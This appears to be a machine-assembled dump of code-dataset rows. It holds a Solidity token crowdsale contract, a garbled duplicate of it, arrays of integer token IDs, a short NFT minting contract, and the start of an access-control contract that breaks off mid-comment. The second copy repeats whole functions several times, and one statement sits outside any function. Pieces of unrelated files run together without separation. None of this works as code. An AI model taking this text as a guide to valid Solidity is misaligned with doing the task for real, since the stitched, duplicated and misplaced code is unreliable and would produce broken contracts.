uint256 public weiRaised;
uint256 public tokenAllocated;
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
}
}
contract NZOCrowdsale is Ownable, Crowdsale, MintableToken {
using SafeMath for uint256;
// https://www.coingecko.com/en/coins/ethereum
// For June 02, 2018
//$0.01 = 1 token => $ 1,000 = 1.7089051044995474 ETH =>
// 1,000 / 0.01 = 100,000 token = 1.7089051044995474 ETH =>
//100,000 token = 1.7089051044995474 ETH =>
//1 ETH = 100,000/1.7089051044995474 = 58517
uint256 public rate = 58517; // for $0.01
//uint256 public rate = 10; // for test's
mapping (address => uint256) public deposited;
uint256 public constant INITIAL_SUPPLY = 21 * 10**9 * (10 ** uint256(decimals));
uint256 public fundForSale = 12600 * 10**6 * (10 ** uint256(decimals));
uint256 public fundReserve = 5250000000 * (10 ** uint256(decimals));
uint256 public fundFoundation = 1000500000 * (10 ** uint256(decimals));
uint256 public fundTeam = 2100000000 * (10 ** uint256(decimals));
uint256 limitWeekZero = 2500000000 * (10 ** uint256(decimals));
uint256 limitWeekOther = 200000000 * (10 ** uint256(decimals));
//uint256 limitWeekZero = 20 * (10 ** uint256(decimals)); // for tests
//uint256 limitWeekOther = 10 * (10 ** uint256(decimals)); // for tests
address public addressFundReserve = 0x67446E0673418d302dB3552bdF05363dB5Fda9Ce;
address public addressFundFoundation = 0xfe3859CB2F9d6f448e9959e6e8Fe0be841c62459;
address public addressFundTeam = 0xfeD3B7eaDf1bD15FbE3aA1f1eAfa141efe0eeeb2;
uint256 public startTime = 1530720000; // Wed, 04 Jul 2018 16:00:00 GMT
// Eastern Standard Time (EST) + 4 hours = Greenwich Mean Time (GMT))
uint numberWeeks = 46;
uint256 public countInvestor;
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken);
event MinWeiLimitReached(address indexed sender, uint256 weiAmount);
event Finalized();
constructor(address _owner) public
Crowdsale(_owner)
{
require(_owner != address(0));
owner = _owner;
//owner = msg.sender; // for test's
transfersEnabled = true;
mintingFinished = false;
totalSupply = INITIAL_SUPPLY;
bool resultMintForOwner = mintForOwner(owner);
require(resultMintForOwner);
}
// fallback function can be used to buy tokens
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
emit TokenPurchase(_investor, weiAmount, tokens);
if (deposited[_investor] == 0) {
countInvestor = countInvestor.add(1);
}
deposit(_investor);
wallet.transfer(weiAmount);
return tokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal returns (uint256) {
uint256 currentDate = now;
//currentDate = 1533513600; // (06 Aug 2018 00:00:00 GMT) for test's
//currentDate = 1534694400; // (19 Aug 2018 00:00:00 GMT) for test's
uint currentPeriod = getPeriod(currentDate);
uint256 amountOfTokens = 0;
if(currentPeriod < 100){
if(currentPeriod == 0){
amountOfTokens = _weiAmount.mul(rate).div(4);
if (tokenAllocated.add(amountOfTokens) > limitWeekZero) {
emit TokenLimitReached(tokenAllocated, amountOfTokens);
return 0;
}
}
for(uint j = 0; j < numberWeeks; j++){
if(currentPeriod == (j + 1)){
amountOfTokens = _weiAmount.mul(rate).div(5+j*25);
if (tokenAllocated.add(amountOfTokens) > limitWeekZero + limitWeekOther.mul(j+1)) {
emit TokenLimitReached(tokenAllocated, amountOfTokens);
return 0;
}
}
}
}
return amountOfTokens;
}
function getPeriod(uint256 _currentDate) public view returns (uint) {
if( startTime > _currentDate && _currentDate > startTime + 365 days){
return 100;
}
if( startTime <= _currentDate && _currentDate <= startTime + 43 days){
return 0;
}
for(uint j = 0; j < numberWeeks; j++){
if( startTime + 43 days + j*7 days <= _currentDate && _currentDate <= startTime + 43 days + (j+1)*7 days){
return j + 1;
}
}
return 100;
}
function deposit(address investor) internal {
deposited[investor] = deposited[investor].add(msg.value);
}
function mintForOwner(address _walletOwner) internal returns (bool result) {
result = false;
require(_walletOwner != address(0));
balances[_walletOwner] = balances[_walletOwner].add(fundForSale);
balances[addressFundTeam] = balances[addressFundTeam].add(fundTeam);
balances[addressFundReserve] = balances[addressFundReserve].add(fundReserve);
balances[addressFundFoundation] = balances[addressFundFoundation].add(fundFoundation);
result = true;
}
function getDeposited(address _investor) public view returns (uint256){
return deposited[_investor];
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (_weiAmount < 0.5 ether) {
emit MinWeiLimitReached(msg.sender, _weiAmount);
return 0;
}
if (tokenAllocated.add(addTokens) > fundForSale) {
emit TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
function finalize() public onlyOwner returns (bool result) {
result = false;
wallet.transfer(address(this).balance);
finishMinting();
emit Finalized();
result = true;
}
function setRate(uint256 _newRate) external onlyOwner returns (bool){
require(_newRate > 0);
rate = _newRate;
return true;
}
}
| ERROR: type should be string, got " https:www.coingecko.com/en/coins/ethereum For June 02, 2018$0.01 = 1 token => $ 1,000 = 1.7089051044995474 ETH => 1,000 / 0.01 = 100,000 token = 1.7089051044995474 ETH =>100,000 token = 1.7089051044995474 ETH =>1 ETH = 100,000/1.7089051044995474 = 58517uint256 public rate = 10; for test'suint256 limitWeekZero = 20 * (10 ** uint256(decimals)); for testsuint256 limitWeekOther = 10 * (10 ** uint256(decimals)); for tests Eastern Standard Time (EST) + 4 hours = Greenwich Mean Time (GMT))" |
contract NZOCrowdsale is Ownable, Crowdsale, MintableToken {
using SafeMath for uint256;
mapping (address => uint256) public deposited;
uint256 public constant INITIAL_SUPPLY = 21 * 10**9 * (10 ** uint256(decimals));
uint256 public fundForSale = 12600 * 10**6 * (10 ** uint256(decimals));
uint256 public fundReserve = 5250000000 * (10 ** uint256(decimals));
uint256 public fundFoundation = 1000500000 * (10 ** uint256(decimals));
uint256 public fundTeam = 2100000000 * (10 ** uint256(decimals));
uint256 limitWeekZero = 2500000000 * (10 ** uint256(decimals));
uint256 limitWeekOther = 200000000 * (10 ** uint256(decimals));
address public addressFundReserve = 0x67446E0673418d302dB3552bdF05363dB5Fda9Ce;
address public addressFundFoundation = 0xfe3859CB2F9d6f448e9959e6e8Fe0be841c62459;
address public addressFundTeam = 0xfeD3B7eaDf1bD15FbE3aA1f1eAfa141efe0eeeb2;
uint numberWeeks = 46;
uint256 public countInvestor;
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken);
event MinWeiLimitReached(address indexed sender, uint256 weiAmount);
event Finalized();
constructor(address _owner) public
Crowdsale(_owner)
{
require(_owner != address(0));
owner = _owner;
transfersEnabled = true;
mintingFinished = false;
totalSupply = INITIAL_SUPPLY;
bool resultMintForOwner = mintForOwner(owner);
require(resultMintForOwner);
}
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
emit TokenPurchase(_investor, weiAmount, tokens);
if (deposited[_investor] == 0) {
countInvestor = countInvestor.add(1);
}
deposit(_investor);
wallet.transfer(weiAmount);
return tokens;
}
if (tokens == 0) {revert();}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
emit TokenPurchase(_investor, weiAmount, tokens);
if (deposited[_investor] == 0) {
countInvestor = countInvestor.add(1);
}
deposit(_investor);
wallet.transfer(weiAmount);
return tokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal returns (uint256) {
uint256 currentDate = now;
uint currentPeriod = getPeriod(currentDate);
uint256 amountOfTokens = 0;
if(currentPeriod < 100){
if(currentPeriod == 0){
amountOfTokens = _weiAmount.mul(rate).div(4);
if (tokenAllocated.add(amountOfTokens) > limitWeekZero) {
emit TokenLimitReached(tokenAllocated, amountOfTokens);
return 0;
}
}
for(uint j = 0; j < numberWeeks; j++){
if(currentPeriod == (j + 1)){
amountOfTokens = _weiAmount.mul(rate).div(5+j*25);
if (tokenAllocated.add(amountOfTokens) > limitWeekZero + limitWeekOther.mul(j+1)) {
emit TokenLimitReached(tokenAllocated, amountOfTokens);
return 0;
}
}
}
}
return amountOfTokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal returns (uint256) {
uint256 currentDate = now;
uint currentPeriod = getPeriod(currentDate);
uint256 amountOfTokens = 0;
if(currentPeriod < 100){
if(currentPeriod == 0){
amountOfTokens = _weiAmount.mul(rate).div(4);
if (tokenAllocated.add(amountOfTokens) > limitWeekZero) {
emit TokenLimitReached(tokenAllocated, amountOfTokens);
return 0;
}
}
for(uint j = 0; j < numberWeeks; j++){
if(currentPeriod == (j + 1)){
amountOfTokens = _weiAmount.mul(rate).div(5+j*25);
if (tokenAllocated.add(amountOfTokens) > limitWeekZero + limitWeekOther.mul(j+1)) {
emit TokenLimitReached(tokenAllocated, amountOfTokens);
return 0;
}
}
}
}
return amountOfTokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal returns (uint256) {
uint256 currentDate = now;
uint currentPeriod = getPeriod(currentDate);
uint256 amountOfTokens = 0;
if(currentPeriod < 100){
if(currentPeriod == 0){
amountOfTokens = _weiAmount.mul(rate).div(4);
if (tokenAllocated.add(amountOfTokens) > limitWeekZero) {
emit TokenLimitReached(tokenAllocated, amountOfTokens);
return 0;
}
}
for(uint j = 0; j < numberWeeks; j++){
if(currentPeriod == (j + 1)){
amountOfTokens = _weiAmount.mul(rate).div(5+j*25);
if (tokenAllocated.add(amountOfTokens) > limitWeekZero + limitWeekOther.mul(j+1)) {
emit TokenLimitReached(tokenAllocated, amountOfTokens);
return 0;
}
}
}
}
return amountOfTokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal returns (uint256) {
uint256 currentDate = now;
uint currentPeriod = getPeriod(currentDate);
uint256 amountOfTokens = 0;
if(currentPeriod < 100){
if(currentPeriod == 0){
amountOfTokens = _weiAmount.mul(rate).div(4);
if (tokenAllocated.add(amountOfTokens) > limitWeekZero) {
emit TokenLimitReached(tokenAllocated, amountOfTokens);
return 0;
}
}
for(uint j = 0; j < numberWeeks; j++){
if(currentPeriod == (j + 1)){
amountOfTokens = _weiAmount.mul(rate).div(5+j*25);
if (tokenAllocated.add(amountOfTokens) > limitWeekZero + limitWeekOther.mul(j+1)) {
emit TokenLimitReached(tokenAllocated, amountOfTokens);
return 0;
}
}
}
}
return amountOfTokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal returns (uint256) {
uint256 currentDate = now;
uint currentPeriod = getPeriod(currentDate);
uint256 amountOfTokens = 0;
if(currentPeriod < 100){
if(currentPeriod == 0){
amountOfTokens = _weiAmount.mul(rate).div(4);
if (tokenAllocated.add(amountOfTokens) > limitWeekZero) {
emit TokenLimitReached(tokenAllocated, amountOfTokens);
return 0;
}
}
for(uint j = 0; j < numberWeeks; j++){
if(currentPeriod == (j + 1)){
amountOfTokens = _weiAmount.mul(rate).div(5+j*25);
if (tokenAllocated.add(amountOfTokens) > limitWeekZero + limitWeekOther.mul(j+1)) {
emit TokenLimitReached(tokenAllocated, amountOfTokens);
return 0;
}
}
}
}
return amountOfTokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal returns (uint256) {
uint256 currentDate = now;
uint currentPeriod = getPeriod(currentDate);
uint256 amountOfTokens = 0;
if(currentPeriod < 100){
if(currentPeriod == 0){
amountOfTokens = _weiAmount.mul(rate).div(4);
if (tokenAllocated.add(amountOfTokens) > limitWeekZero) {
emit TokenLimitReached(tokenAllocated, amountOfTokens);
return 0;
}
}
for(uint j = 0; j < numberWeeks; j++){
if(currentPeriod == (j + 1)){
amountOfTokens = _weiAmount.mul(rate).div(5+j*25);
if (tokenAllocated.add(amountOfTokens) > limitWeekZero + limitWeekOther.mul(j+1)) {
emit TokenLimitReached(tokenAllocated, amountOfTokens);
return 0;
}
}
}
}
return amountOfTokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal returns (uint256) {
uint256 currentDate = now;
uint currentPeriod = getPeriod(currentDate);
uint256 amountOfTokens = 0;
if(currentPeriod < 100){
if(currentPeriod == 0){
amountOfTokens = _weiAmount.mul(rate).div(4);
if (tokenAllocated.add(amountOfTokens) > limitWeekZero) {
emit TokenLimitReached(tokenAllocated, amountOfTokens);
return 0;
}
}
for(uint j = 0; j < numberWeeks; j++){
if(currentPeriod == (j + 1)){
amountOfTokens = _weiAmount.mul(rate).div(5+j*25);
if (tokenAllocated.add(amountOfTokens) > limitWeekZero + limitWeekOther.mul(j+1)) {
emit TokenLimitReached(tokenAllocated, amountOfTokens);
return 0;
}
}
}
}
return amountOfTokens;
}
function getPeriod(uint256 _currentDate) public view returns (uint) {
if( startTime > _currentDate && _currentDate > startTime + 365 days){
return 100;
}
if( startTime <= _currentDate && _currentDate <= startTime + 43 days){
return 0;
}
for(uint j = 0; j < numberWeeks; j++){
if( startTime + 43 days + j*7 days <= _currentDate && _currentDate <= startTime + 43 days + (j+1)*7 days){
return j + 1;
}
}
return 100;
}
function getPeriod(uint256 _currentDate) public view returns (uint) {
if( startTime > _currentDate && _currentDate > startTime + 365 days){
return 100;
}
if( startTime <= _currentDate && _currentDate <= startTime + 43 days){
return 0;
}
for(uint j = 0; j < numberWeeks; j++){
if( startTime + 43 days + j*7 days <= _currentDate && _currentDate <= startTime + 43 days + (j+1)*7 days){
return j + 1;
}
}
return 100;
}
function getPeriod(uint256 _currentDate) public view returns (uint) {
if( startTime > _currentDate && _currentDate > startTime + 365 days){
return 100;
}
if( startTime <= _currentDate && _currentDate <= startTime + 43 days){
return 0;
}
for(uint j = 0; j < numberWeeks; j++){
if( startTime + 43 days + j*7 days <= _currentDate && _currentDate <= startTime + 43 days + (j+1)*7 days){
return j + 1;
}
}
return 100;
}
function getPeriod(uint256 _currentDate) public view returns (uint) {
if( startTime > _currentDate && _currentDate > startTime + 365 days){
return 100;
}
if( startTime <= _currentDate && _currentDate <= startTime + 43 days){
return 0;
}
for(uint j = 0; j < numberWeeks; j++){
if( startTime + 43 days + j*7 days <= _currentDate && _currentDate <= startTime + 43 days + (j+1)*7 days){
return j + 1;
}
}
return 100;
}
function getPeriod(uint256 _currentDate) public view returns (uint) {
if( startTime > _currentDate && _currentDate > startTime + 365 days){
return 100;
}
if( startTime <= _currentDate && _currentDate <= startTime + 43 days){
return 0;
}
for(uint j = 0; j < numberWeeks; j++){
if( startTime + 43 days + j*7 days <= _currentDate && _currentDate <= startTime + 43 days + (j+1)*7 days){
return j + 1;
}
}
return 100;
}
function deposit(address investor) internal {
deposited[investor] = deposited[investor].add(msg.value);
}
function mintForOwner(address _walletOwner) internal returns (bool result) {
result = false;
require(_walletOwner != address(0));
balances[_walletOwner] = balances[_walletOwner].add(fundForSale);
balances[addressFundTeam] = balances[addressFundTeam].add(fundTeam);
balances[addressFundReserve] = balances[addressFundReserve].add(fundReserve);
balances[addressFundFoundation] = balances[addressFundFoundation].add(fundFoundation);
result = true;
}
function getDeposited(address _investor) public view returns (uint256){
return deposited[_investor];
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (_weiAmount < 0.5 ether) {
emit MinWeiLimitReached(msg.sender, _weiAmount);
return 0;
}
if (tokenAllocated.add(addTokens) > fundForSale) {
emit TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (_weiAmount < 0.5 ether) {
emit MinWeiLimitReached(msg.sender, _weiAmount);
return 0;
}
if (tokenAllocated.add(addTokens) > fundForSale) {
emit TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (_weiAmount < 0.5 ether) {
emit MinWeiLimitReached(msg.sender, _weiAmount);
return 0;
}
if (tokenAllocated.add(addTokens) > fundForSale) {
emit TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
function finalize() public onlyOwner returns (bool result) {
result = false;
wallet.transfer(address(this).balance);
finishMinting();
emit Finalized();
result = true;
}
function setRate(uint256 _newRate) external onlyOwner returns (bool){
require(_newRate > 0);
rate = _newRate;
return true;
}
}
| 13,904,856 |
[
1,
4528,
30,
5591,
18,
2894,
310,
31319,
18,
832,
19,
275,
19,
71,
9896,
19,
546,
822,
379,
2457,
804,
7556,
17896,
16,
14863,
8,
20,
18,
1611,
273,
404,
1147,
516,
271,
404,
16,
3784,
273,
404,
18,
7301,
6675,
6260,
2163,
6334,
2733,
6564,
5608,
512,
2455,
516,
404,
16,
3784,
342,
374,
18,
1611,
273,
2130,
16,
3784,
1147,
273,
404,
18,
7301,
6675,
6260,
2163,
6334,
2733,
6564,
5608,
512,
2455,
516,
6625,
16,
3784,
1147,
273,
404,
18,
7301,
6675,
6260,
2163,
6334,
2733,
6564,
5608,
512,
2455,
516,
21,
512,
2455,
273,
2130,
16,
3784,
19,
21,
18,
7301,
6675,
6260,
2163,
6334,
2733,
6564,
5608,
273,
1381,
7140,
4033,
11890,
5034,
1071,
4993,
225,
273,
1728,
31,
225,
364,
1842,
1807,
11890,
5034,
1800,
6630,
7170,
273,
4200,
225,
261,
2163,
225,
2254,
5034,
12,
31734,
10019,
225,
364,
7434,
11890,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
16351,
423,
62,
10809,
492,
2377,
5349,
353,
14223,
6914,
16,
385,
492,
2377,
5349,
16,
490,
474,
429,
1345,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
1071,
443,
1724,
329,
31,
203,
203,
565,
2254,
5034,
1071,
5381,
28226,
67,
13272,
23893,
273,
9035,
380,
1728,
636,
29,
380,
261,
2163,
2826,
2254,
5034,
12,
31734,
10019,
203,
565,
2254,
5034,
1071,
565,
284,
1074,
1290,
30746,
273,
2593,
28133,
380,
1728,
636,
26,
380,
261,
2163,
2826,
2254,
5034,
12,
31734,
10019,
203,
565,
2254,
5034,
1071,
565,
284,
1074,
607,
6527,
273,
1381,
2947,
17877,
380,
261,
2163,
2826,
2254,
5034,
12,
31734,
10019,
203,
565,
2254,
5034,
1071,
284,
1074,
27788,
273,
4336,
25,
11706,
380,
261,
2163,
2826,
2254,
5034,
12,
31734,
10019,
203,
565,
2254,
5034,
1071,
4202,
284,
1074,
8689,
273,
9035,
12648,
380,
261,
2163,
2826,
2254,
5034,
12,
31734,
10019,
203,
203,
565,
2254,
5034,
1800,
6630,
7170,
273,
6969,
12648,
380,
261,
2163,
2826,
2254,
5034,
12,
31734,
10019,
203,
565,
2254,
5034,
1800,
6630,
8290,
273,
576,
12648,
380,
261,
2163,
2826,
2254,
5034,
12,
31734,
10019,
203,
203,
565,
1758,
1071,
1758,
42,
1074,
607,
6527,
273,
374,
92,
26,
5608,
8749,
41,
7677,
27,
5026,
2643,
72,
23,
3103,
72,
38,
23,
2539,
22,
16410,
42,
6260,
23,
4449,
72,
38,
25,
42,
2414,
29,
39,
73,
31,
203,
565,
1758,
1071,
1758,
42,
1074,
27788,
273,
2
] |
./full_match/3/0x119e628a9C1c11af59Dc6ADED9984eCbb32B198E/sources/NFTURL.sol
|
this contract inherits ERC721constructor for an ERC721 is a name and symbol
|
contract SampleNFTContract is ERC721 {
uint256 public tokenCounter;
constructor () public ERC721 ("astronaut", "STAR"){
tokenCounter = 0;
}
function createNFT(string memory tokenURI) public returns (uint256) {
uint256 newNFTTokenId = tokenCounter;
_safeMint(msg.sender, newNFTTokenId);
_setTokenURI(newNFTTokenId, tokenURI);
tokenCounter = tokenCounter + 1;
return newNFTTokenId;
}
}
| 14,194,839 |
[
1,
2211,
6835,
24664,
4232,
39,
27,
5340,
12316,
364,
392,
4232,
39,
27,
5340,
353,
279,
508,
471,
3273,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
11474,
50,
4464,
8924,
353,
4232,
39,
27,
5340,
288,
203,
565,
2254,
5034,
1071,
1147,
4789,
31,
203,
377,
203,
377,
203,
203,
565,
3885,
1832,
1071,
4232,
39,
27,
5340,
7566,
345,
313,
265,
5854,
3113,
315,
20943,
7923,
95,
203,
3639,
1147,
4789,
273,
374,
31,
203,
565,
289,
203,
203,
565,
445,
752,
50,
4464,
12,
1080,
3778,
1147,
3098,
13,
1071,
1135,
261,
11890,
5034,
13,
288,
203,
203,
3639,
2254,
5034,
394,
50,
4464,
1345,
548,
273,
1147,
4789,
31,
203,
203,
3639,
389,
4626,
49,
474,
12,
3576,
18,
15330,
16,
394,
50,
4464,
1345,
548,
1769,
203,
377,
203,
3639,
389,
542,
1345,
3098,
12,
2704,
50,
4464,
1345,
548,
16,
1147,
3098,
1769,
203,
377,
203,
3639,
1147,
4789,
273,
1147,
4789,
397,
404,
31,
203,
540,
203,
3639,
327,
394,
50,
4464,
1345,
548,
31,
203,
565,
289,
203,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import './Context.sol';
import './Strings.sol';
import './ERC165.sol';
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Context, IAccessControlUpgradeable, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(
bytes32 indexed role,
bytes32 indexed previousAdminRole,
bytes32 indexed newAdminRole
);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return
interfaceId == type(IAccessControlUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
'AccessControl: account ',
Strings.toHexString(uint160(account), 20),
' is missing role ',
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account)
public
virtual
override
onlyRole(getRoleAdmin(role))
{
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account)
public
virtual
override
onlyRole(getRoleAdmin(role))
{
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
